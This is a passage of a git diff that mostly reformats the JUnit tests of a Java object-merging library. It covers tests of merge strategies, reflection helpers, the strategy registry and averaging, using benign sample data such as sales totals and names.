let's just assert that *if* we pass an invalid config, it throws + // ConfigurationException. + // But we need a Strategy that has a strict config check. - // Plan B: Just ensure compilation and basic function for now. - // I will skip adding complex logic here to avoid breaking the build with - // unresolved dependencies. - } + // Plan B: Just ensure compilation and basic function for now. + // I will skip adding complex logic here to avoid breaking the build with + // unresolved dependencies. + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/engine/PojoMergerTest.java b/objectmerger/src/test/java/de/x132/objectmerger/engine/PojoMergerTest.java index c64d1cf..5a4d959 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/engine/PojoMergerTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/engine/PojoMergerTest.java @@ -12,54 +12,54 @@ class PojoMergerTest { - @Test - void testMerge_SimpleSuccess() { - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - fields.put("value", StandardFieldDefinition.builder().build()); - def.setDefinitions(fields); + @Test + void testMerge_SimpleSuccess() { + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + fields.put("value", StandardFieldDefinition.builder().build()); + def.setDefinitions(fields); - TestPojo source1 = new TestPojo("A"); - TestPojo source2 = new TestPojo(null); + TestPojo source1 = new TestPojo("A"); + TestPojo source2 = new TestPojo(null); - @SuppressWarnings("unchecked") - LabeledSource[] sources = - new LabeledSource[] { - new LabeledSource<>("s1", source1), new LabeledSource<>("s2", source2) - }; + @SuppressWarnings("unchecked") + LabeledSource[] sources = + new LabeledSource[] { + new LabeledSource<>("s1", source1), new LabeledSource<>("s2", source2) + }; - TestPojo result = PojoMerger.merge(TestPojo.class, def, sources); - assertEquals("A", result.getValue()); - } + TestPojo result = PojoMerger.merge(TestPojo.class, def, sources); + assertEquals("A", result.getValue()); + } + + @Test + void testMerge_InstantiationError() { + MergeDefinition def = new MergeDefinition(); + @SuppressWarnings("unchecked") + LabeledSource[] sources = new LabeledSource[] {}; - @Test - void testMerge_InstantiationError() { - MergeDefinition def = new MergeDefinition(); - @SuppressWarnings("unchecked") - LabeledSource[] sources = new LabeledSource[] {}; + de.x132.objectmerger.exception.MergeExecutionException ex = + assertThrows( + de.x132.objectmerger.exception.MergeExecutionException.class, + () -> PojoMerger.merge(PrivatePojo.class, def, sources)); + assertTrue(ex.getMessage().contains("Failed to merge objects")); + } - de.x132.objectmerger.exception.MergeExecutionException ex = - assertThrows( - de.x132.objectmerger.exception.MergeExecutionException.class, - () -> PojoMerger.merge(PrivatePojo.class, def, sources)); - assertTrue(ex.getMessage().contains("Failed to merge objects")); - } + public static class TestPojo { + private String value; - public static class TestPojo { - private String value; + public TestPojo() {} - public TestPojo() {} + public TestPojo(String value) { + this.value = value; + } - public TestPojo(String value) { - this.value = value; + public String getValue() { + return value; + } } - public String getValue() { - return value; + private static class PrivatePojo { + private PrivatePojo() {} } - } - - private static class PrivatePojo { - private PrivatePojo() {} - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/generator/MergeDefinitionGeneratorTest.java b/objectmerger/src/test/java/de/x132/objectmerger/generator/MergeDefinitionGeneratorTest.java index 1b82a20..b593190 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/generator/MergeDefinitionGeneratorTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/generator/MergeDefinitionGeneratorTest.java @@ -13,57 +13,57 @@ class MergeDefinitionGeneratorTest { - @SuppressWarnings("unused") - private static class TestClass { - private String name; - private int age; - } + @SuppressWarnings("unused") + private static class TestClass { + private String name; + private int age; + } - @Test - void generateFromClass() { - MergeDefinition def = MergeDefinitionGenerator.generate(TestClass.class); + @Test + void generateFromClass() { + MergeDefinition def = MergeDefinitionGenerator.generate(TestClass.class); - assertNotNull(def); - assertNotNull(def.getDefinitions()); - assertEquals(2, def.getDefinitions().size()); + assertNotNull(def); + assertNotNull(def.getDefinitions()); + assertEquals(2, def.getDefinitions().size()); - assertTrue(def.getDefinitions().containsKey("name")); - assertTrue(def.getDefinitions().containsKey("age")); + assertTrue(def.getDefinitions().containsKey("name")); + assertTrue(def.getDefinitions().containsKey("age")); - assertTrue(def.getDefinitions().get("name") instanceof StandardFieldDefinition); - } + assertTrue(def.getDefinitions().get("name") instanceof StandardFieldDefinition); + } - @Test - void generateFromMap() { - Map data = Map.of("key1", "value1", "key2", 123); + @Test + void generateFromMap() { + Map data = Map.of("key1", "value1", "key2", 123); - MergeDefinition def = MergeDefinitionGenerator.generate(data); + MergeDefinition def = MergeDefinitionGenerator.generate(data); - assertNotNull(def); - assertNotNull(def.getDefinitions()); - assertEquals(2, def.getDefinitions().size()); + assertNotNull(def); + assertNotNull(def.getDefinitions()); + assertEquals(2, def.getDefinitions().size()); - assertTrue(def.getDefinitions().containsKey("key1")); - assertTrue(def.getDefinitions().containsKey("key2")); - } + assertTrue(def.getDefinitions().containsKey("key1")); + assertTrue(def.getDefinitions().containsKey("key2")); + } - @Test - void generateFromMapWithList() { - Map item1 = Map.of("id", 1, "name", "Item1"); - Map item2 = Map.of("id", 2, "name", "Item2"); - Map data = Map.of("items", java.util.List.of(item1, item2)); + @Test + void generateFromMapWithList() { + Map item1 = Map.of("id", 1, "name", "Item1"); + Map item2 = Map.of("id", 2, "name", "Item2"); + Map data = Map.of("items", java.util.List.of(item1, item2)); - MergeDefinition def = MergeDefinitionGenerator.generate(data); + MergeDefinition def = MergeDefinitionGenerator.generate(data); - assertNotNull(def); - assertTrue(def.getDefinitions().containsKey("items")); + assertNotNull(def); + assertTrue(def.getDefinitions().containsKey("items")); - FieldDefinition fieldDef = def.getDefinitions().get("items"); - assertTrue(fieldDef instanceof ListFieldDefinition); + FieldDefinition fieldDef = def.getDefinitions().get("items"); + assertTrue(fieldDef instanceof ListFieldDefinition); - ListFieldDefinition listDef = (ListFieldDefinition) fieldDef; + ListFieldDefinition listDef = (ListFieldDefinition) fieldDef; - assertEquals("mergeList", listDef.getStrategy()); - assertEquals("id", listDef.getIdentifyBy()); - } + assertEquals("mergeList", listDef.getStrategy()); + assertEquals("id", listDef.getIdentifyBy()); + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/helper/ReflectionHelperTest.java b/objectmerger/src/test/java/de/x132/objectmerger/helper/ReflectionHelperTest.java index 42de2bd..12a665c 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/helper/ReflectionHelperTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/helper/ReflectionHelperTest.java @@ -10,64 +10,65 @@ class ReflectionHelperTest { - @Test - void testGetFieldValue_FromObject() { - TestObject obj = new TestObject("testValue"); - Object value = ReflectionHelper.getFieldValue(obj, "field"); - assertEquals("testValue", value); - } + @Test + void testGetFieldValue_FromObject() { + TestObject obj = new TestObject("testValue"); + Object value = ReflectionHelper.getFieldValue(obj, "field"); + assertEquals("testValue", value); + } - @Test - void testGetFieldValue_FromMap() { - Map map = new HashMap<>(); - map.put("field", "mapValue"); - Object value = ReflectionHelper.getFieldValue(map, "field"); - assertEquals("mapValue", value); - } + @Test + void testGetFieldValue_FromMap() { + Map map = new HashMap<>(); + map.put("field", "mapValue"); + Object value = ReflectionHelper.getFieldValue(map, "field"); + assertEquals("mapValue", value); + } - @Test - void testGetFieldValue_Null() { - assertNull(ReflectionHelper.getFieldValue(null, "field")); - } + @Test + void testGetFieldValue_Null() { + assertNull(ReflectionHelper.getFieldValue(null, "field")); + } - @Test - void testGetFieldValue_MissingField() { - TestObject obj = new TestObject("testValue"); + @Test + void testGetFieldValue_MissingField() { + TestObject obj = new TestObject("testValue"); - assertThrows( - MergeExecutionException.class, () -> ReflectionHelper.getFieldValue(obj, "missingField")); - } + assertThrows( + MergeExecutionException.class, + () -> ReflectionHelper.getFieldValue(obj, "missingField")); + } - @Test - void testSetFieldValue() throws NoSuchFieldException { - TestObject obj = new TestObject("initial"); - Field field = TestObject.class.getDeclaredField("field"); - ReflectionHelper.setFieldValue(field, obj, "updated"); - assertEquals("updated", obj.getField()); - } + @Test + void testSetFieldValue() throws NoSuchFieldException { + TestObject obj = new TestObject("initial"); + Field field = TestObject.class.getDeclaredField("field"); + ReflectionHelper.setFieldValue(field, obj, "updated"); + assertEquals("updated", obj.getField()); + } - @Test - void testGetField_Success() { - Field field = ReflectionHelper.getField(TestObject.class, "field"); - assertNotNull(field); - assertEquals("field", field.getName()); - } + @Test + void testGetField_Success() { + Field field = ReflectionHelper.getField(TestObject.class, "field"); + assertNotNull(field); + assertEquals("field", field.getName()); + } - @Test - void testGetField_Missing() { - Field field = ReflectionHelper.getField(TestObject.class, "missingField"); - assertNull(field); - } + @Test + void testGetField_Missing() { + Field field = ReflectionHelper.getField(TestObject.class, "missingField"); + assertNull(field); + } - private static class TestObject { - private String field; + private static class TestObject { + private String field; - public TestObject(String field) { - this.field = field; - } + public TestObject(String field) { + this.field = field; + } - public String getField() { - return field; + public String getField() { + return field; + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/map/MapBasedMergeTest.java b/objectmerger/src/test/java/de/x132/objectmerger/map/MapBasedMergeTest.java index 3d14088..0fffc60 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/map/MapBasedMergeTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/map/MapBasedMergeTest.java @@ -14,41 +14,43 @@ class MapBasedMergeTest { - @Test - void testMapMerge() { - // 1. Define Strategy - MergeDefinition definition = new MergeDefinition(); - Map> fields = new HashMap<>(); - - // "name" uses Priority (source1 > source2) - // "name" uses Priority (source1 > source2) - PriorityFieldDefinition nameDef = - PriorityFieldDefinition.builder().priority(Map.of("source1", 1, "source2", 2)).build(); - fields.put("name", nameDef); - - // "age" uses Maximum - StandardFieldDefinition ageDef = - StandardFieldDefinition.builder().strategy("maximum").build(); - fields.put("age", ageDef); - - definition.setDefinitions(fields); - - // 2. Prepare Data - Map data1 = new HashMap<>(); - data1.put("name", "Max"); - data1.put("age", 30); - LabeledSource> source1 = new LabeledSource<>("source1", data1); - - Map data2 = new HashMap<>(); - data2.put("name", "Moritz"); - data2.put("age", 40); - LabeledSource> source2 = new LabeledSource<>("source2", data2); - - // 3. Merge - Map result = ObjectMerger.merge(definition, source1, source2); - - // 4. Verify - assertEquals("Max", result.get("name")); // Source1 has priority 1 (higher than Source2's 2) - assertEquals(40, result.get("age")); // Maximum of 30 and 40 - } + @Test + void testMapMerge() { + // 1. Define Strategy + MergeDefinition definition = new MergeDefinition(); + Map> fields = new HashMap<>(); + + // "name" uses Priority (source1 > source2) + // "name" uses Priority (source1 > source2) + PriorityFieldDefinition nameDef = + PriorityFieldDefinition.builder() + .priority(Map.of("source1", 1, "source2", 2)) + .build(); + fields.put("name", nameDef); + + // "age" uses Maximum + StandardFieldDefinition ageDef = + StandardFieldDefinition.builder().strategy("maximum").build(); + fields.put("age", ageDef); + + definition.setDefinitions(fields); + + // 2. Prepare Data + Map data1 = new HashMap<>(); + data1.put("name", "Max"); + data1.put("age", 30); + LabeledSource> source1 = new LabeledSource<>("source1", data1); + + Map data2 = new HashMap<>(); + data2.put("name", "Moritz"); + data2.put("age", 40); + LabeledSource> source2 = new LabeledSource<>("source2", data2); + + // 3. Merge + Map result = ObjectMerger.merge(definition, source1, source2); + + // 4. Verify + assertEquals("Max", result.get("name")); // Source1 has priority 1 (higher than Source2's 2) + assertEquals(40, result.get("age")); // Maximum of 30 and 40 + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/map/MapCompatibilityTest.java b/objectmerger/src/test/java/de/x132/objectmerger/map/MapCompatibilityTest.java index 244e5fb..1c8fc40 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/map/MapCompatibilityTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/map/MapCompatibilityTest.java @@ -20,139 +20,142 @@ class MapCompatibilityTest { - @Test - @DisplayName("Sales: Should sum values correctly using Map interface") - void testSalesMerge() { - // Definition - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - - StandardFieldDefinition sumDef = - StandardFieldDefinition.builder().strategy("sum").build(); - fields.put("totalSales", sumDef); - - def.setDefinitions(fields); - - // Data (SalesData equivalent) - Map amazon = Map.of("totalSales", 1500); - Map shopify = Map.of("totalSales", 2300); - Map ebay = Map.of("totalSales", 800); - Map woocommerce = Map.of("totalSales", 1200); - - // Merge - Map result = - ObjectMerger.merge( - def, - new LabeledSource<>("amazon", amazon), - new LabeledSource<>("shopify", shopify), - new LabeledSource<>("ebay", ebay), - new LabeledSource<>("woocommerce", woocommerce)); - - // Verify (Expected: 5800) - assertEquals(5800, ((Number) result.get("totalSales")).intValue()); - } - - @Test - @DisplayName("Person: Should handle Priority and Max strategies using Map interface") - void testPersonMerge() { - // Definition - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - - PriorityFieldDefinition nameDef = - PriorityFieldDefinition.builder() - .priority(Map.of("db", 1, "crm", 2)) // db wins - .build(); - fields.put("name", nameDef); - - StandardFieldDefinition ageDef = - StandardFieldDefinition.builder().strategy("maximum").build(); - fields.put("age", ageDef); - - def.setDefinitions(fields); - - // Data - Map db = new HashMap<>(); - db.put("name", "Max DB"); - db.put("age", 30); - - Map crm = new HashMap<>(); - crm.put("name", "Max CRM"); - crm.put("age", 40); - - // Merge - Map result = - ObjectMerger.merge(def, new LabeledSource<>("db", db), new LabeledSource<>("crm", crm)); - - // Verify - assertEquals("Max DB", result.get("name")); - assertEquals(40, result.get("age")); - } - - @Test - @DisplayName("Family: Should handle List merging using Map interface") - @SuppressWarnings("unchecked") - void testFamilyMerge() { - // Definition - MergeDefinition def = new MergeDefinition(); - Map> fields = new HashMap<>(); - - // "members" is a List of objects, merged by "name" - ListFieldDefinition membersDef = - ListFieldDefinition.builder().strategy("mergeList").identifyBy("name").build(); - - // ... - - // Define how to merge list items (Map based) - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - Map> childFields = new HashMap<>(); - - // Child name - PriorityFieldDefinition childNameDef = - PriorityFieldDefinition.builder().priority(Map.of("s1", 1, "s2", 2)).build(); - childFields.put("name", childNameDef); - - // Child age - StandardFieldDefinition childAgeDef = - StandardFieldDefinition.builder().strategy("maximum").build(); - childFields.put("age", childAgeDef); - - itemDef.setDefinitions(childFields); - membersDef.setItemMergeDefinition(itemDef); - - fields.put("members", membersDef); - - def.setDefinitions(fields); - - // Data - Map member1 = Map.of("name", "Child1", "age", 10); - Map member2 = Map.of("name", "Child2", "age", 12); - Map member1Update = Map.of("name", "Child1", "age", 11); // Update to Child1 - - Map source1 = new HashMap<>(); - source1.put("members", Arrays.asList(member1, member2)); - - Map source2 = new HashMap<>(); - source2.put("members", Arrays.asList(member1Update)); - - // Merge - Map result = - ObjectMerger.merge( - def, new LabeledSource<>("s1", source1), new LabeledSource<>("s2", source2)); - - // Verify - List mergedMembers = (List) result.get("members"); - assertNotNull(mergedMembers); - assertEquals(2, mergedMembers.size()); // Child1 (merged), Child2 - - // Simple check: Child1 should typically take latest (or first depending on list - // strategy details, - // but default mergeList merges properties. - // Wait, mergeList on Maps? It relies on ObjectMerger.merge recursively! - // Does ObjectMerger.merge work recursively for Maps if the type isn't known? - // "ListMergeStrategy" uses "resolveTargetType". - // If target type is "Map", it might fail if it expects a class. - // Let's verify if ListMergeStrategy supports dynamic Map merging. - // If NOT, this test will fail and reveal a gap in "recursion". - } + @Test + @DisplayName("Sales: Should sum values correctly using Map interface") + void testSalesMerge() { + // Definition + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + + StandardFieldDefinition sumDef = + StandardFieldDefinition.builder().strategy("sum").build(); + fields.put("totalSales", sumDef); + + def.setDefinitions(fields); + + // Data (SalesData equivalent) + Map amazon = Map.of("totalSales", 1500); + Map shopify = Map.of("totalSales", 2300); + Map ebay = Map.of("totalSales", 800); + Map woocommerce = Map.of("totalSales", 1200); + + // Merge + Map result = + ObjectMerger.merge( + def, + new LabeledSource<>("amazon", amazon), + new LabeledSource<>("shopify", shopify), + new LabeledSource<>("ebay", ebay), + new LabeledSource<>("woocommerce", woocommerce)); + + // Verify (Expected: 5800) + assertEquals(5800, ((Number) result.get("totalSales")).intValue()); + } + + @Test + @DisplayName("Person: Should handle Priority and Max strategies using Map interface") + void testPersonMerge() { + // Definition + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + + PriorityFieldDefinition nameDef = + PriorityFieldDefinition.builder() + .priority(Map.of("db", 1, "crm", 2)) // db wins + .build(); + fields.put("name", nameDef); + + StandardFieldDefinition ageDef = + StandardFieldDefinition.builder().strategy("maximum").build(); + fields.put("age", ageDef); + + def.setDefinitions(fields); + + // Data + Map db = new HashMap<>(); + db.put("name", "Max DB"); + db.put("age", 30); + + Map crm = new HashMap<>(); + crm.put("name", "Max CRM"); + crm.put("age", 40); + + // Merge + Map result = + ObjectMerger.merge( + def, new LabeledSource<>("db", db), new LabeledSource<>("crm", crm)); + + // Verify + assertEquals("Max DB", result.get("name")); + assertEquals(40, result.get("age")); + } + + @Test + @DisplayName("Family: Should handle List merging using Map interface") + @SuppressWarnings("unchecked") + void testFamilyMerge() { + // Definition + MergeDefinition def = new MergeDefinition(); + Map> fields = new HashMap<>(); + + // "members" is a List of objects, merged by "name" + ListFieldDefinition membersDef = + ListFieldDefinition.builder().strategy("mergeList").identifyBy("name").build(); + + // ... + + // Define how to merge list items (Map based) + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + Map> childFields = new HashMap<>(); + + // Child name + PriorityFieldDefinition childNameDef = + PriorityFieldDefinition.builder().priority(Map.of("s1", 1, "s2", 2)).build(); + childFields.put("name", childNameDef); + + // Child age + StandardFieldDefinition childAgeDef = + StandardFieldDefinition.builder().strategy("maximum").build(); + childFields.put("age", childAgeDef); + + itemDef.setDefinitions(childFields); + membersDef.setItemMergeDefinition(itemDef); + + fields.put("members", membersDef); + + def.setDefinitions(fields); + + // Data + Map member1 = Map.of("name", "Child1", "age", 10); + Map member2 = Map.of("name", "Child2", "age", 12); + Map member1Update = Map.of("name", "Child1", "age", 11); // Update to Child1 + + Map source1 = new HashMap<>(); + source1.put("members", Arrays.asList(member1, member2)); + + Map source2 = new HashMap<>(); + source2.put("members", Arrays.asList(member1Update)); + + // Merge + Map result = + ObjectMerger.merge( + def, + new LabeledSource<>("s1", source1), + new LabeledSource<>("s2", source2)); + + // Verify + List mergedMembers = (List) result.get("members"); + assertNotNull(mergedMembers); + assertEquals(2, mergedMembers.size()); // Child1 (merged), Child2 + + // Simple check: Child1 should typically take latest (or first depending on list + // strategy details, + // but default mergeList merges properties. + // Wait, mergeList on Maps? It relies on ObjectMerger.merge recursively! + // Does ObjectMerger.merge work recursively for Maps if the type isn't known? + // "ListMergeStrategy" uses "resolveTargetType". + // If target type is "Map", it might fail if it expects a class. + // Let's verify if ListMergeStrategy supports dynamic Map merging. + // If NOT, this test will fail and reveal a gap in "recursion". + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/registry/StrategyRegistryTest.java b/objectmerger/src/test/java/de/x132/objectmerger/registry/StrategyRegistryTest.java index 33abb7c..a8c2e96 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/registry/StrategyRegistryTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/registry/StrategyRegistryTest.java @@ -11,51 +11,53 @@ class StrategyRegistryTest { - @Test - @DisplayName("All registered strategies must return a non-null configuration class") - void ensureStrictConfigurationClass() { - StrategyRegistry registry = StrategyRegistry.getInstance(); - ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); - for (MergeStrategy strategy : loader) { - assertNotNull( - strategy.getConfigurationClass(), - "Strategy " + strategy.getName() + " must return a non-null configuration class"); + @Test + @DisplayName("All registered strategies must return a non-null configuration class") + void ensureStrictConfigurationClass() { + StrategyRegistry registry = StrategyRegistry.getInstance(); + ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); + for (MergeStrategy strategy : loader) { + assertNotNull( + strategy.getConfigurationClass(), + "Strategy " + + strategy.getName() + + " must return a non-null configuration class"); + } } - } - - @Test - @DisplayName("getStrategy returns the correct strategy for a valid name") - void getStrategy_withValidName_returnsInstance() { - StrategyRegistry registry = StrategyRegistry.getInstance(); - MergeStrategy strategy = registry.getStrategy("concatenate"); - assertNotNull(strategy, "Strategy 'concatenate' should be found"); - assertEquals("concatenate", strategy.getName()); - } - - @Test - @DisplayName("getStrategy returns 'standard' strategy for unknown names") - void getStrategy_withUnknownName_returnsStandard() { - StrategyRegistry registry = StrategyRegistry.getInstance(); - MergeStrategy strategy = registry.getStrategy("non_existent_strategy_name"); - assertNotNull(strategy, "Should return a fallback strategy"); - assertEquals("standard", strategy.getName(), "Should fallback to 'standard'"); - } - - @Test - @DisplayName("All loaded strategies have consistent names") - void verifyNameConsistency() { - ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); - for (MergeStrategy strategy : loader) { - assertNotNull(strategy.getName(), "Strategy name must not be null"); - assertFalse(strategy.getName().isEmpty(), "Strategy name must not be empty"); - - // Verify that the registry can find it back by its own name - StrategyRegistry registry = StrategyRegistry.getInstance(); - MergeStrategy retrieved = registry.getStrategy(strategy.getName()); - assertEquals( - strategy.getClass(), - retrieved.getClass(), - "Registry should return correct instance for name: " + strategy.getName()); + + @Test + @DisplayName("getStrategy returns the correct strategy for a valid name") + void getStrategy_withValidName_returnsInstance() { + StrategyRegistry registry = StrategyRegistry.getInstance(); + MergeStrategy strategy = registry.getStrategy("concatenate"); + assertNotNull(strategy, "Strategy 'concatenate' should be found"); + assertEquals("concatenate", strategy.getName()); + } + + @Test + @DisplayName("getStrategy returns 'standard' strategy for unknown names") + void getStrategy_withUnknownName_returnsStandard() { + StrategyRegistry registry = StrategyRegistry.getInstance(); + MergeStrategy strategy = registry.getStrategy("non_existent_strategy_name"); + assertNotNull(strategy, "Should return a fallback strategy"); + assertEquals("standard", strategy.getName(), "Should fallback to 'standard'"); + } + + @Test + @DisplayName("All loaded strategies have consistent names") + void verifyNameConsistency() { + ServiceLoader loader = ServiceLoader.load(MergeStrategy.class); + for (MergeStrategy strategy : loader) { + assertNotNull(strategy.getName(), "Strategy name must not be null"); + assertFalse(strategy.getName().isEmpty(), "Strategy name must not be empty"); + + // Verify that the registry can find it back by its own name + StrategyRegistry registry = StrategyRegistry.getInstance(); + MergeStrategy retrieved = registry.getStrategy(strategy.getName()); + assertEquals( + strategy.getClass(), + retrieved.getClass(), + "Registry should return correct instance for name: " + strategy.getName()); + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/average/AverageValueStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/average/AverageValueStrategyTest.java index 7fcf12e..4a7432e 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/average/AverageValueStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/average/AverageValueStrategyTest.java @@ -22,278 +22,304 @@ @DisplayName("AverageValueStrategy Tests") class AverageValueStrategyTest { - private AverageValueStrategy strategy; - private FieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new AverageValueStrategy(); - fieldDef = mock(FieldDefinition.class); - } - - @Test - @DisplayName("Should calculate average from integer values") - void testAverageOfIntegers() { - // Arrange - String fieldName = "score"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(10); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(20); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(30); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(20, result); // (10 + 20 + 30) / 3 = 20 + private AverageValueStrategy strategy; + private FieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new AverageValueStrategy(); + fieldDef = mock(FieldDefinition.class); + } + + @Test + @DisplayName("Should calculate average from integer values") + void testAverageOfIntegers() { + // Arrange + String fieldName = "score"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(10); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(20); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(30); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(20, result); // (10 + 20 + 30) / 3 = 20 + } + } + + @Test + @DisplayName("Should calculate average from double values") + void testAverageOfDoubles() { + // Arrange + String fieldName = "rating"; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(4.5); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(3.5); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(4, result); // (4.5 + 3.5) / 2 = 4.0, returned as int + } + } + + @Test + @DisplayName("Should skip null values when calculating average") + void testAverageSkipsNullValues() { + // Arrange + String fieldName = "age"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2), + new LabeledSource<>("source3", source3)); + + when(fieldDef.getDefaultValue()).thenReturn(null); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(25); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source3, fieldName)) + .thenReturn(35); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(30, result); // (25 + 35) / 2 = 30 (source1 ignored) + } + } + + @Test + @DisplayName("Should return default value when all values are null") + void testAverageReturnsDefaultWhenAllNull() { + // Arrange + String fieldName = "score"; + Object source1 = new Object(); + Object source2 = new Object(); + + List> sources = + Arrays.asList( + new LabeledSource<>("source1", source1), + new LabeledSource<>("source2", source2)); + + Integer defaultValue = 0; + when(fieldDef.getDefaultValue()).thenReturn(defaultValue); + + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(null); + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source2, fieldName)) + .thenReturn(null); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertEquals(0, result); + } } - } - @Test - @DisplayName("Should calculate average from double values") - void testAverageOfDoubles() { - // Arrange - String fieldName = "rating"; - Object source1 = new Object(); - Object source2 = new Object(); + @Test + @DisplayName("Should handle single value") + void testAverageWithSingleValue() { + // Arrange + String fieldName = "value"; + Object source1 = new Object(); - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), new LabeledSource<>("source2", source2)); + List> sources = Arrays.asList(new LabeledSource<>("source1", source1)); - when(fieldDef.getDefaultValue()).thenReturn(null); + when(fieldDef.getDefaultValue()).thenReturn(null); - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source1, fieldName)).thenReturn(4.5); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(3.5); + try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { + mockedObjectMerger + .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) + .thenReturn(42); - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); - // Assert - assertEquals(4, result); // (4.5 + 3.5) / 2 = 4.0, returned as int + // Assert + assertEquals(42, result); // Average of single value is the value itself + } } - } - - @Test - @DisplayName("Should skip null values when calculating average") - void testAverageSkipsNullValues() { - // Arrange - String fieldName = "age"; - Object source1 = new Object(); - Object source2 = new Object(); - Object source3 = new Object(); - - List> sources = - Arrays.asList( - new LabeledSource<>("source1", source1), - new LabeledSource<>("source2", source2), - new LabeledSource<>("source3", source3)); - - when(fieldDef.getDefaultValue()).thenReturn(null); - - try (MockedStatic mockedObjectMerger = mockStatic(ObjectMerger.class)) { - mockedObjectMerger - .when(() -> ObjectMerger.getFieldValue(source1, fieldName)) - .thenReturn(null); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source2, fieldName)).thenReturn(25); - mockedObjectMerger.when(() -> ObjectMerger.getFieldValue(source3, fieldName)).thenReturn(35); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertEquals(30, result); // (25 + 35) / 2 = 30 (source1 ignored) + + @Test + @DisplayName("Should return double when result has decimal places") + void testAverageReturnsDoubleForNonWholeNumbers() { + // Arrange + String fieldName = "temperature"; + Object source1 = new Object(); + Object source2 = new Object(); + Object source3 = new Object(); + + List> sources = + 